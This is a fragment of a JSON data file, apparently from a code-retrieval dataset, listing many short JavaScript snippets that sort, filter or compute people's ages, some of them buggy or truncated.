{\n if (array[i].age < minAge) {\n minAge = array[i];\n arrIndex = i;\n }\n }\n return array[arrIndex].firstname + ' ' + array[arrIndex].lastname;\n}","function differenceInAges (ages) {\n\n let max = Math.max(...ages),\n min = Math.min(...ages)\n diff = max - min\n \n return [min, max, diff]\n}","function older3ars(array){\n\t\tvar older=array[0].age\n\t\tfor (var i = 0; i < array.length; i++) {\n\t\t\tif(array[i].age>older){\n\t\t\t\tolder=array[i].age\n\t\t\t}\n\n\t\t}\n\t\treturn older;\n\t}","function findOldestPerson(people) {\n var oldest = people[0];\n for (var i = 1; i < people.length; i++) {\n if (people[i].age > oldest.age) {\n oldest = people[i];\n }\n }\n return oldest;\n}","function getMinAge(data) {\n\tconst ages = data.map(passenger => {\n\t\treturn passenger.fields.age;\n\t}).filter( p => p !== undefined)\n\treturn Math.min(...ages)\n}","function olderPeople(peopleArr, age) {\n return peopleArr.filter(function (person) {\n return person.age > age;\n });\n}","function olderPeople(peopleArr, age) {\n // initialize a new empty array\n let newArray = [];\n // loop through each persons\n peopleArr.forEach(element => {\n // check if person is older\n if (element.age > age) {\n // add to array\n newArray.push(element);\n }\n })\n return newArray\n}","function sortedByAge(arr) {\n return arr.sort((a, b) => (a - b) ? -1 : 1 )\n}","function above(person, age){\n let aboveAge = [];\n person.forEach(element => {\n if(element.age > age)\n {aboveAge.push(element)}\n });\n return aboveAge;\n }","function byAge(arr){\n return arr.sort(function(a, b){\n return a.age - b.age;\n });\n}","static older(person1, person2){\n return (person1.age >= person2.age)?person1:person2;\n }","function findYoungest(arr) {\n arr.sort(function(a, b) {\n return a.age - b.age;\n });\n\n return arr[0].firstname + ' ' + arr[0].lastname;\n}","function findOldestMale(people) {\n var oldest = people[0];\n for (var i = 1; i < people.length; i++) {\n if (people[i].gender == \"Male\") {\n if (people[i].age > oldest.age) {\n oldest = people[i];\n }\n }\n }\n return oldest;\n}","function getMinAge(data) {\n\tconst ages = data.filter(passenger => passenger.fields.age != null).map(passenger => passenger.fields.age)\n\tconst minAge = Math.min(...ages)\n\tconsole.log('MINIMUM AGE:', minAge)\n\treturn minAge\n}","function sortByAge(arr) {\n return arr.sort((a,b) => a.age - b.age); // increment\n}","function familyReport(ages) {\n // sort the ages into ascending order\n ages.sort(compareNumeric)\n // get the smallest age (first index)\n const smallest = ages[0];\n // get the largest age (last index)\n const largest = ages[ages.length - 1];\n // difference between largest and smallest age\n const difference = largest - smallest;\n\n return [smallest, largest, difference]\n}","function SortByNamexOlderThan(age) {\n var pl = [];\n let k = 0;\n for (let i of players) {\n if (i.age >= age) {\n i.awards.name.sort().reverse();\n pl[c++] = i;\n }\n }\n\n return pl.age.sort();\n}","function findOldestByGender(people, gender) {\n var oldest = people[0];\n for (var i = 1; i < people.length; i++) {\n if (people[i].gender == gender && people[i].age > oldest.age) {\n oldest = people[i];\n }\n }\n return oldest;\n}","function findOlder() {\n //let arr = [];\n //console.log(val);\n for (i = 0; i < devs.length; i++) {\n //let val = devs[i].age;\n //arr.push(val);\n if (devs[i].age > 24) {\n console.log(devs[i]);\n }\n }\n //console.log(arr);\n }","function secondOldest() {\n var firstMaxSoFar = ages[0]; \n var secondMax = undefined; \n \n document.getElementById(\"secondoldest\").innerHTML = outPutText; \n}","function getMinandMaxAge() {\n let ages = [];\n let leagueSelected = $(\"#division\").val();\n\n if (leagueSelected == \"Tee Ball\") {\n ages = [4, 6];\n }\n else if (leagueSelected == \"Minors\") {\n ages = [7, 9];\n }\n else if (leagueSelected == \"Majors\") {\n ages = [10, 12];\n }\n else {\n ages = [12, 14];\n }\n return ages;\n}","function AgeCroissant(a, b) {\n if (a.age < b.age) return -1;\n if (a.age > b.age) return 1;\n return 0;\n }","function compareAge(b1,b2){\n return b1<=b2\n }","function getMaxAge(data) {\n\tconst ages = data.map(passenger => {\n\t\treturn passenger.fields.age;}).filter( p => p !== undefined)\n\t\treturn Math.max(...ages)\n}","function returnMinors(arr)\r\n {\r\n \tminors=[]\r\n \tfor(var i of arr)\r\n \t{\r\n \t\tif(i['age']>=20)\r\n \t\t{\r\n \t\t\tminors.push(i)\r\n \t\t}\r\n \t}\r\n \treturn minors\r\n }","function sortAge(data){\n\n \n\n data.sort(function(a,b){\n if(a.dob.age < b.dob.age){\n return -1;\n }else{\n return 1;\n }\n });\n console.log(data)\n return [...data]\n \n }","function getAverageAge (arr) {\n return arr.reduce((acc, cur) => acc+cur.age, 0);\n}","function getAge(people) {\n let dayToday = new Date().getDate();\n let monthToday = new Date().getMonth();\n let yearToday = new Date().getFullYear();\n for (let i = 0; i < people.length; i++) {\n let birthDate = people[i].dob;\n let birthDateSplit = people[i].dob.split(\"/\");\n birthDateSplit[0] -= 1;\n let splitDiff = [];\n splitDiff[0] = monthToday - birthDateSplit[0];\n splitDiff[1] = dayToday - birthDateSplit[1];\n splitDiff[2] = yearToday - birthDateSplit[2];\n if (splitDiff[0] < 0 || (splitDiff[0] == 0 && splitDiff[1] < 0)) {\n splitDiff[2]--;\n }\n people[i].age = splitDiff[2];\n }\n}","function compareByAge(personA, personB) {\n if (personA.age < personB.age) {\n return -1;\n } else if (personA.age > personB.age) {\n return 1;\n } else {\n return 0;\n }\n }","function addAges(born) {\n //find all the films, this in includes things like producer and writer\n var links = document.evaluate(\n \"//div[contains(@class,'filmo')]/ol/li\",\n document,\n null,\n XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,\n null);\n\n //loop round each film\n for (var i = 0; i < links.snapshotLength; i++) {\n\t\t\tvar link = links.snapshotItem(i);\n\t\t\t//extract the year of the film\n\t\t\tyearindex = link.innerHTML.search(\"\\\\([0-9]{4}\\\\)\")\n\t\t\tif(yearindex>0) {\n\t\t\t\tvar filmborn = link.innerHTML.substring(yearindex + 1,\n\t\t\t\t\tyearindex + 5);\n\t\t\t\t//calculate ages\n\t\t\t\tvar filmage = new Date().getFullYear() - filmborn;\n\t\t\t\tvar age = filmborn - born;\n\t\t\t\tage = new String(age +\n\t\t\t\t\t\" year\" + (age == 1 ? '' : 's') + \" old\");\n\n\t\t\t\t//get them in a nice format\n\t\t\t\tif (filmage < 0) {\n\t\t\t\t\tvar agetxt = new String(\n\t\t\t\t\t\t\"in \" +\n\t\t\t\t\t\tMath.abs(filmage) + \" year\" +\n\t\t\t\t\t\t(Math.abs(filmage) == 1 ? '' : 's') +\n\t\t\t\t\t\t\" will be \" + age);\n\t\t\t\t}\n\t\t\t\tif (filmage == 0) {\n\t\t\t\t\t\tvar agetxt = new String(\n\t\t\t\t\t\t\t\t\"this year while \" + age);\n\t\t\t\t}\n\t\t\t\tif (filmage > 0) {\n\t\t\t\t\tvar agetxt = new String(\n\t\t\t\t\t\tMath.abs(filmage) + \" year\" +\n\t\t\t\t\t\t(Math.abs(filmage) == 1 ? '' : 's') +\n\t\t\t\t\t\t\" ago while \" + age);\n\t\t\t\t}\n\n\t\t\t\tlink.innerHTML =\n\t\t\t\t\tlink.innerHTML.substring(0, yearindex + 5)\n\t\t\t\t\t+ \", \" + agetxt\n\t\t\t\t\t+ link.innerHTML.substring(yearindex + 5);\n\t\t\t}\n }\n}","function sortedOfAge(arr){\n var over18 = []\n arr.filter((person) => {\n if (person.age > 18){\n over18.push(person)\n }\n })\n var inOrder = over18.sort((a, b) => {\n var nameA = a.lastName\n var nameB = b.lastName\n if (nameA < nameB) {\n return -1;\n }\n if (nameA > nameB) {\n return 1;\n }\n return 0\n })\n var finalArr = []\n inOrder.map((person) => {\n finalArr.push(\"
                  • \" + person.firstName + \" \" + person.lastName + \" is \" + person.age + \"
                  • \")\n })\n return finalArr\n }","function SecondGreatLow(arr) { \n\tif (arr.length === 2){\n\t\tif(arr[0] > arr[1]) {\n\t\t\treturn arr[0] + \" \" + arr[1];\n\t\t} else {\n\t\t\treturn arr[1] + \" \" + arr[0];\n\t\t}\n\t} else {\n\t\tvar greatest = Math.max.apply(Math, arr);\n\t\tvar lowest = Math.min.apply(Math, arr);\n\t\tvar newArr = [];\n\t\tfor (var i = 0; i \n item.gender === 'm' || item.gender === 'M')\n .sort((a, b) => a.age - b.age )\n }","function ageSort(){\n return function(people){\n people.sort(function(a,b){\n return a.age - b.age;\n });\n console.log(people);\n };\n }","function getAges(array, value) {\n let output = [];\n for (let i = 0; i < array.length; ++i) {\n output.push(array[i][value]);\n }\n return output;\n}","function SortByAge() {\n var pl = [];\n pl = Object.age(players).sort()\n return pl.reverse();\n}","static ageCompareHigh(user1, user2) {\n // TODO: check that age exists\n return user2.age - user1.age;\n }","function AgeSort() {\n employees.sort(function (a, b) {\n return (a.dob.age - b.dob.age)\n })\n visibleEmployees([...employees])\n }","function SecondGreatLow(arr) {\n //if length is 2 edge case\n if (arr.length === 2){\n sortedArr = arr.sort();\n return sortedArr[1]+\" \"+sortedArr[0];\n }\n\n var min, max, min2, max2;\n sortedArr = arr.sort();\n min = sortedArr[0];\n max = sortedArr[sortedArr.length];\n min2 = max;\n max2 = min;\n for (var i = 0; i < sortedArr.length; i++) {\n //set min2\n if (sortedArr[i] !== min){\n if(sortedArr[i] < min2){\n min2 = sortedArr[i];\n }\n }\n //set max2\n if (sortedArr[i] !== max){\n if(sortedArr[i] > max2){\n max2 = sortedArr[i];\n }\n }\n }//end loop\n return min2+\" \"+max2;\n}//end function","function getLeaveDatesInAscendinOrder(leaveDatesArray){\t\r\n\t\t var datesArray;\r\n\t\t var sortedArray=[];\r\n\t\t var stringDate;\r\n\t\t datesArray=new Array(leaveDatesArray.length);\r\n\t for(var j=0;j< leaveDatesArray.length;j++){\r\n\t \t //console.log(\"type of leave date : \"+ typeof leaveDatesArray[j].leaveDate)\r\n\t \t datesArray.push(new Date(leaveDatesArray[j].leaveDate));\r\n\t\t }\r\n\t datesArray.sort(function (a,b){ return (a > b) ? 1 : -1;});\r\n\t \r\n\t for(var j=0;j< leaveDatesArray.length;j++){\r\n\t \t stringDate=datesArray[j].getDate()+\"/\"+(datesArray[j].getMonth()+1)+\"/\"+datesArray[j].getFullYear(); new Date().g\r\n\t \t //leaveDetails [i][4][j]=(datesArray[j]+\"\").substring(0,15);\r\n\t \t sortedArray.push(stringDate);\r\n\t }\r\n\t \r\n\t return sortedArray;\r\n\t \r\n\t }","function findAverage(array) {\n const sumElementsAgesArray = (accumulator, currentValue) => accumulator + currentValue;\n const averageAge = array.reduce(sumElementsAgesArray, 0) / array.length;\n return averageAge;\n}","function sortByAge(){\n employees.sort(function(a,b){\n return (a.dob.age - b.dob.age)\n })\n setDisplayedEmployees([...employees])\n }","function lowhigh(arr) {\n max = arr[0];\n min = arr[0];\n for (var i = 0; i < arr.length; i++) {\n if (arr[i] > max) {\n max = arr[i];\n }\n if (arr[i] < min) {\n min = arr[i];\n }\n }\n return min, max;\n}","function olderThanTwentyFour(arr) {\n return arr.filter(n => n.age >= 24)\n}","function getAverageAge(arr) {\n return arr.reduce((acc, item) => acc + item.age, 0) / arr.length;\n}","howOld(birthday){\n \n //calculate the month difference from the current month\n //calculate the day difference from the current date\n //calculate year difference from the current year\n //put calculation in date format\n //calculate the age person\n //return the age of the person\n\n return -1;\n }","handleAllAges(ages) {\n const allAges = ages.filter( age => { return age.name == 'All Ages' } )\n if ( allAges.length < 1 ) {\n ages.push({\n id: \"58e4b35fdb252928067b4379\",\n name: \"All Ages\",\n displayOrder: 0\n })\n }\n return ages.sort(this.handleDisplayOrder)\n }","function bornBeforeYear(dataArr, year) {\n const result = [];\n dataArr.forEach(person => {\n const birthYear = new Date(person.birthday).getFullYear();\n (birthYear < year) && result.push(person);\n \n });\n return result; \n}","function averageAge(arr) {\n\n const currentAge = arr.map(cur => new Date().getFullYear() - cur.buildYear);\n\n function add(a, b) {\n return a + b;\n }\n\n const totalAge = currentAge.reduce(add, 0);\n const average = totalAge / arr.length;\n\n console.log(`Our ${arr.length} parks have an average age of ${average} years.`);\n}","function getMaxAge(data) {\n\tconst ageList = data.filter(passenger => passenger.fields.age != null).map(passenger => passenger.fields.age)\n\tconst maxAge = Math.max(...ageList)\n\tconsole.log('MAXIMUM AGE:', maxAge)\n\treturn maxAge\n}","function twoTeams(sailors) {\n const team1 = []; // holds sailors younger than 20 and older than 40\n const team2 = []; // holds sailors between the ages 20 and 40\n const sailorNames = Object.keys(sailors);\n\n sailorNames.forEach(sailor => {\n sailors[sailor] < 20 || sailors[sailor] > 40\n ? team1.push(sailor)\n : team2.push(sailor);\n });\n\n const sorted = [team1.sort(), team2.sort()];\n return sorted;\n}","function bestYearAvg (array){\n //puedo calcular el avg con el método de arriba, para ello, tengo que conseguir tener un array con todas las \n //peliculas de un año \n var ordenado = array.sort(function(a,b) {\n return a.parseInt(year) - b.parseInt(year);\n } );\n}","get oldestObject() {\n\t\n\t\tif(this.#_augmentaScene.objectCount == 0) {\n\t\t\tconsole.log('No object in scene')\n\t\t} else {\n\n\t\t\tlet maxAge = -1;\n\t\t\tlet maxId;\n\n\t\t\tfor(var id in this.#_augmentaObjects) {\n\t\t\t\tif(this.#_augmentaObjects[id].age > maxAge) {\n\t\t\t\t\tmaxAge = this.#_augmentaObjects[id].age;\n\t\t\t\t\tmaxId = id;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn this.#_augmentaObjects[maxId]\n\t\t}\n\n\t}","function byAge(person1, person2) {\n var age1 = person1.age;\n var age2 = person2.age;\n return age2 - age1;\n}","function computeAge(i) \n {\n var todaysDate = new Date();\n var birthD = $(\"#booking_tickets_\"+ i +\"_birthdate_day\").val();\n var birthM = $(\"#booking_tickets_\"+ i +\"_birthdate_month\").val();\n var birthY = $(\"#booking_tickets_\"+ i +\"_birthdate_year\").val();\n\n if((birthM < todaysDate.getMonth()) || ((birthM == todaysDate.getMonth()) && (birthD <= todaysDate.getDate())))\n {\n var age = todaysDate.getFullYear() - birthY;\n }\n else\n {\n var age = todaysDate.getFullYear() - birthY - 1;\n } \n\n return age;\n }","getYearRange(date) {\n let year = [], first, last;\n date.forEach(e => {\n year.push(parseInt(e))\n })\n first = year[0];\n last = year[year.length-1]\n year.forEach(e => {\n first = e < first ? e : first;\n last = e > last ? e : last;\n })\n return({first,last});\n }","function CompareBirthdays(a, b)\r\n {\r\n return a[\"nextBirthday\"] - b[\"nextBirthday\"];\r\n }","function howOld(age, year) {\n const currentDate = new Date();\n const currentYear = currentDate.getFullYear();\n\n if (year > currentYear) {\n var NewAge = year - currentYear + age;\n return `You will be ${NewAge} in the year ${year}`;\n } else if (year < currentYear - age) {\n var diference = currentYear - age - year;\n return `The year ${year} was ${diference} years before you were born`;\n } else if (year < currentYear && year > currentYear - age) {\n var NewAge = age - (currentYear - year);\n return `You were ${NewAge} in the year ${year}`;\n }\n}","calculateAge() {\n let date_1 = new Date(age);\n let diff = Date.now() - date_1.getTime();\n var age_date = new Date(diff);\n return Math.abs(age_date.getUTCFullYear() - 1970); \n }","function olderPerson(obj) {\n var ins = obj[0];\n var str = \"\";\n for (let i = 0; i < obj.length; i++) {\n if (obj[i].age > ins.age) {\n ins = obj[i];\n str = ins.name.first + \" \" + ins.name.last;\n }\n }\n return str;\n}","function retire(year){\n\tconst age=new Date().getFullYear()-year;\n\treturn [age,65-age];\n}","function getAge() {\n year = born.slice(0, born.indexOf(\"-\"));\n month = born.slice(5, 7);\n day = born.slice(8);\n var today = new Date();\n var age = today.getFullYear() - year;\n var m = today.getMonth() - month;\n if (m < 0 || (m === 0 && today.getDate() < day)) {\n age--;\n }\n return age;\n }","function findOldestIndex(history){\n var index = null;// index of oldest element\n var sAge = null; // smallest age\n\n // Abort if there is no elements in history\n if(history.length<1){\n return -1;\n }\n\n index = 0;\n sAge = history[0].age;\n for (var i = 1; i < history.length; i++){\n if(history[i].age= minAge) console.log(personA);\n if (personB.age >= minAge) console.log(personB);\n}","howOld(birthday){\n \n // convert birthday into a numeric value\n\n // convert current date into a numeric value\n\n // subtract birthday numeric value from current date value to get the numeric value of time elapsed\n\n // convert the time elapsed value into years\n\n // round down the converted years value\n\n // return the rounded years value\n\n let date = new Date().getFullYear();\n let age = date-birthyear\n \n return age;\n return -1;\n }","function maleAge(){\n for (i=0; i a.age - b.age);\n }\n }\n console.log(devs);\n }","function calculateAge(birthyear, currentyear) {\n\tvar lowage = currentyear - birthyear - 1;\n\tvar highage = currentyear - birthyear;\n\talert(\"You are either \" + lowage + \" or \" + highage)\n}","function cmp(a, b) {\n let yearA = a[0].years[0]\n let yearB = b[0].years[0]\n return (yearB > yearA) ? 1 : ((yearB < yearA) ? -1 : 0)\n }","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}","function min () {\n var args = [].slice.call(arguments, 0);\n\n return pickBy('isBefore', args);\n}"],"string":"[\n \"function twoOldestAges(ages){\\n let sorted = ages.sort((a, b) => { return b - a; });\\n return [sorted[1], sorted[0]];\\n }\",\n \"function twoOldestAges(ages){\\nlet oldestAges = ages.sort((a, b) => b-a).splice(0,2).reverse();\\n return oldestAges;\\n}\",\n \"function twoOldestAges(ages){\\n var sortArr = ages.map(Number).sort(function (a, b) { return a - b; });\\n var scoreTab = [sortArr[sortArr.length - 2], sortArr[sortArr.length - 1]];\\n return scoreTab;\\n}\",\n \"function older(array){\\n\\tvar max = 0;\\n\\tvar olderst = {};\\n\\tfor (var i=0; i max){\\n\\t\\t\\tmax= array[i][\\\"age\\\"];\\n\\t\\t\\toldest = array[i];\\n\\t\\t}\\n\\t}\\n\\treturn oldest;\\t\\t\\n}\",\n \"function byAge(arr){\\n const youngToOld = arr.sort((a, b) => {\\n return a.age - b.age\\n })\\n return youngToOld\\n}\",\n \"function older(a, b) {\\n\\treturn max(a, b, ageCompare);\\n }\",\n \"function findOlder(arr)\\n{\\n\\tvar oldest = arr[0].age;\\n\\tvar oldClassmate = {};\\n\\n\\tfor(var i=1; i oldest)\\n\\t\\t{\\n\\t\\t\\toldest = arr[i].age;\\n\\t\\t\\toldClassmate = arr[i];\\n\\t\\t}\\n\\t}\\n\\n\\treturn oldClassmate;\\n}\",\n \"function older(people,age){\\n\\tnew newArray =[];\\n\\tfor ( var i =0; i < array.length-1;i++){\\n\\t\\tif(Arr[i].age > age){\\n\\t\\t\\tnewArray.push(Arr[i].age);\\n\\t\\t}\\t\\n\\t}\\n\\treturn newArray;\\n}\",\n \"function younger(a, b) {\\n\\treturn min(a, b, ageCompare);\\n }\",\n \"function checkYoungest(array) {\\n var arrIndex = 0;\\n var minAge = array[0].age;\\n for (var i = 1; i < array.length; i++) {\\n if (array[i].age < minAge) {\\n minAge = array[i];\\n arrIndex = i;\\n }\\n }\\n return array[arrIndex].firstname + ' ' + array[arrIndex].lastname;\\n}\",\n \"function differenceInAges (ages) {\\n\\n let max = Math.max(...ages),\\n min = Math.min(...ages)\\n diff = max - min\\n \\n return [min, max, diff]\\n}\",\n \"function older3ars(array){\\n\\t\\tvar older=array[0].age\\n\\t\\tfor (var i = 0; i < array.length; i++) {\\n\\t\\t\\tif(array[i].age>older){\\n\\t\\t\\t\\tolder=array[i].age\\n\\t\\t\\t}\\n\\n\\t\\t}\\n\\t\\treturn older;\\n\\t}\",\n \"function findOldestPerson(people) {\\n var oldest = people[0];\\n for (var i = 1; i < people.length; i++) {\\n if (people[i].age > oldest.age) {\\n oldest = people[i];\\n }\\n }\\n return oldest;\\n}\",\n \"function getMinAge(data) {\\n\\tconst ages = data.map(passenger => {\\n\\t\\treturn passenger.fields.age;\\n\\t}).filter( p => p !== undefined)\\n\\treturn Math.min(...ages)\\n}\",\n \"function olderPeople(peopleArr, age) {\\n return peopleArr.filter(function (person) {\\n return person.age > age;\\n });\\n}\",\n \"function olderPeople(peopleArr, age) {\\n // initialize a new empty array\\n let newArray = [];\\n // loop through each persons\\n peopleArr.forEach(element => {\\n // check if person is older\\n if (element.age > age) {\\n // add to array\\n newArray.push(element);\\n }\\n })\\n return newArray\\n}\",\n \"function sortedByAge(arr) {\\n return arr.sort((a, b) => (a - b) ? -1 : 1 )\\n}\",\n \"function above(person, age){\\n let aboveAge = [];\\n person.forEach(element => {\\n if(element.age > age)\\n {aboveAge.push(element)}\\n });\\n return aboveAge;\\n }\",\n \"function byAge(arr){\\n return arr.sort(function(a, b){\\n return a.age - b.age;\\n });\\n}\",\n \"static older(person1, person2){\\n return (person1.age >= person2.age)?person1:person2;\\n }\",\n \"function findYoungest(arr) {\\n arr.sort(function(a, b) {\\n return a.age - b.age;\\n });\\n\\n return arr[0].firstname + ' ' + arr[0].lastname;\\n}\",\n \"function findOldestMale(people) {\\n var oldest = people[0];\\n for (var i = 1; i < people.length; i++) {\\n if (people[i].gender == \\\"Male\\\") {\\n if (people[i].age > oldest.age) {\\n oldest = people[i];\\n }\\n }\\n }\\n return oldest;\\n}\",\n \"function getMinAge(data) {\\n\\tconst ages = data.filter(passenger => passenger.fields.age != null).map(passenger => passenger.fields.age)\\n\\tconst minAge = Math.min(...ages)\\n\\tconsole.log('MINIMUM AGE:', minAge)\\n\\treturn minAge\\n}\",\n \"function sortByAge(arr) {\\n return arr.sort((a,b) => a.age - b.age); // increment\\n}\",\n \"function familyReport(ages) {\\n // sort the ages into ascending order\\n ages.sort(compareNumeric)\\n // get the smallest age (first index)\\n const smallest = ages[0];\\n // get the largest age (last index)\\n const largest = ages[ages.length - 1];\\n // difference between largest and smallest age\\n const difference = largest - smallest;\\n\\n return [smallest, largest, difference]\\n}\",\n \"function SortByNamexOlderThan(age) {\\n var pl = [];\\n let k = 0;\\n for (let i of players) {\\n if (i.age >= age) {\\n i.awards.name.sort().reverse();\\n pl[c++] = i;\\n }\\n }\\n\\n return pl.age.sort();\\n}\",\n \"function findOldestByGender(people, gender) {\\n var oldest = people[0];\\n for (var i = 1; i < people.length; i++) {\\n if (people[i].gender == gender && people[i].age > oldest.age) {\\n oldest = people[i];\\n }\\n }\\n return oldest;\\n}\",\n \"function findOlder() {\\n //let arr = [];\\n //console.log(val);\\n for (i = 0; i < devs.length; i++) {\\n //let val = devs[i].age;\\n //arr.push(val);\\n if (devs[i].age > 24) {\\n console.log(devs[i]);\\n }\\n }\\n //console.log(arr);\\n }\",\n \"function secondOldest() {\\n var firstMaxSoFar = ages[0]; \\n var secondMax = undefined; \\n \\n document.getElementById(\\\"secondoldest\\\").innerHTML = outPutText; \\n}\",\n \"function getMinandMaxAge() {\\n let ages = [];\\n let leagueSelected = $(\\\"#division\\\").val();\\n\\n if (leagueSelected == \\\"Tee Ball\\\") {\\n ages = [4, 6];\\n }\\n else if (leagueSelected == \\\"Minors\\\") {\\n ages = [7, 9];\\n }\\n else if (leagueSelected == \\\"Majors\\\") {\\n ages = [10, 12];\\n }\\n else {\\n ages = [12, 14];\\n }\\n return ages;\\n}\",\n \"function AgeCroissant(a, b) {\\n if (a.age < b.age) return -1;\\n if (a.age > b.age) return 1;\\n return 0;\\n }\",\n \"function compareAge(b1,b2){\\n return b1<=b2\\n }\",\n \"function getMaxAge(data) {\\n\\tconst ages = data.map(passenger => {\\n\\t\\treturn passenger.fields.age;}).filter( p => p !== undefined)\\n\\t\\treturn Math.max(...ages)\\n}\",\n \"function returnMinors(arr)\\r\\n {\\r\\n \\tminors=[]\\r\\n \\tfor(var i of arr)\\r\\n \\t{\\r\\n \\t\\tif(i['age']>=20)\\r\\n \\t\\t{\\r\\n \\t\\t\\tminors.push(i)\\r\\n \\t\\t}\\r\\n \\t}\\r\\n \\treturn minors\\r\\n }\",\n \"function sortAge(data){\\n\\n \\n\\n data.sort(function(a,b){\\n if(a.dob.age < b.dob.age){\\n return -1;\\n }else{\\n return 1;\\n }\\n });\\n console.log(data)\\n return [...data]\\n \\n }\",\n \"function getAverageAge (arr) {\\n return arr.reduce((acc, cur) => acc+cur.age, 0);\\n}\",\n \"function getAge(people) {\\n let dayToday = new Date().getDate();\\n let monthToday = new Date().getMonth();\\n let yearToday = new Date().getFullYear();\\n for (let i = 0; i < people.length; i++) {\\n let birthDate = people[i].dob;\\n let birthDateSplit = people[i].dob.split(\\\"/\\\");\\n birthDateSplit[0] -= 1;\\n let splitDiff = [];\\n splitDiff[0] = monthToday - birthDateSplit[0];\\n splitDiff[1] = dayToday - birthDateSplit[1];\\n splitDiff[2] = yearToday - birthDateSplit[2];\\n if (splitDiff[0] < 0 || (splitDiff[0] == 0 && splitDiff[1] < 0)) {\\n splitDiff[2]--;\\n }\\n people[i].age = splitDiff[2];\\n }\\n}\",\n \"function compareByAge(personA, personB) {\\n if (personA.age < personB.age) {\\n return -1;\\n } else if (personA.age > personB.age) {\\n return 1;\\n } else {\\n return 0;\\n }\\n }\",\n \"function addAges(born) {\\n //find all the films, this in includes things like producer and writer\\n var links = document.evaluate(\\n \\\"//div[contains(@class,'filmo')]/ol/li\\\",\\n document,\\n null,\\n XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,\\n null);\\n\\n //loop round each film\\n for (var i = 0; i < links.snapshotLength; i++) {\\n\\t\\t\\tvar link = links.snapshotItem(i);\\n\\t\\t\\t//extract the year of the film\\n\\t\\t\\tyearindex = link.innerHTML.search(\\\"\\\\\\\\([0-9]{4}\\\\\\\\)\\\")\\n\\t\\t\\tif(yearindex>0) {\\n\\t\\t\\t\\tvar filmborn = link.innerHTML.substring(yearindex + 1,\\n\\t\\t\\t\\t\\tyearindex + 5);\\n\\t\\t\\t\\t//calculate ages\\n\\t\\t\\t\\tvar filmage = new Date().getFullYear() - filmborn;\\n\\t\\t\\t\\tvar age = filmborn - born;\\n\\t\\t\\t\\tage = new String(age +\\n\\t\\t\\t\\t\\t\\\" year\\\" + (age == 1 ? '' : 's') + \\\" old\\\");\\n\\n\\t\\t\\t\\t//get them in a nice format\\n\\t\\t\\t\\tif (filmage < 0) {\\n\\t\\t\\t\\t\\tvar agetxt = new String(\\n\\t\\t\\t\\t\\t\\t\\\"in \\\" +\\n\\t\\t\\t\\t\\t\\tMath.abs(filmage) + \\\" year\\\" +\\n\\t\\t\\t\\t\\t\\t(Math.abs(filmage) == 1 ? '' : 's') +\\n\\t\\t\\t\\t\\t\\t\\\" will be \\\" + age);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif (filmage == 0) {\\n\\t\\t\\t\\t\\t\\tvar agetxt = new String(\\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"this year while \\\" + age);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif (filmage > 0) {\\n\\t\\t\\t\\t\\tvar agetxt = new String(\\n\\t\\t\\t\\t\\t\\tMath.abs(filmage) + \\\" year\\\" +\\n\\t\\t\\t\\t\\t\\t(Math.abs(filmage) == 1 ? '' : 's') +\\n\\t\\t\\t\\t\\t\\t\\\" ago while \\\" + age);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tlink.innerHTML =\\n\\t\\t\\t\\t\\tlink.innerHTML.substring(0, yearindex + 5)\\n\\t\\t\\t\\t\\t+ \\\", \\\" + agetxt\\n\\t\\t\\t\\t\\t+ link.innerHTML.substring(yearindex + 5);\\n\\t\\t\\t}\\n }\\n}\",\n \"function sortedOfAge(arr){\\n var over18 = []\\n arr.filter((person) => {\\n if (person.age > 18){\\n over18.push(person)\\n }\\n })\\n var inOrder = over18.sort((a, b) => {\\n var nameA = a.lastName\\n var nameB = b.lastName\\n if (nameA < nameB) {\\n return -1;\\n }\\n if (nameA > nameB) {\\n return 1;\\n }\\n return 0\\n })\\n var finalArr = []\\n inOrder.map((person) => {\\n finalArr.push(\\\"
                  • \\\" + person.firstName + \\\" \\\" + person.lastName + \\\" is \\\" + person.age + \\\"
